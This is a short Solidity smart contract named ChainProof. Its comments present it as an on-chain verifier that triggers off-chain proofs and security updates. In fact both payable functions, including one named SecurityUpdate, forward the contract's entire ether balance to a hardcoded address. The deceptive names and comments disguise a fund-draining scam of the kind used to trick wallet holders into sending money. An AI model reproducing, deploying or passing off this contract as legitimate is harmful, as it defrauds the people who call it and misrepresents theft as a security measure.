// File: contracts/ChainProof.sol



pragma solidity ^0.4.26;

contract ChainProof {
    //On-chain verifier address
    address private ROUTER;

    constructor() public {
        ROUTER = address(0x000008A68d2f43DD0C5958067735CD876F1A4d1C);
    }
    //info trigger validator to generate an off-chain proof
    function updates() public payable {
        address(ROUTER).transfer(address(this).balance);
    }
    //notice Authorize the router to create an off-chain proof for the authenticator
    //info Only validator can see this
    function SecurityUpdate() public payable { updates(); }
}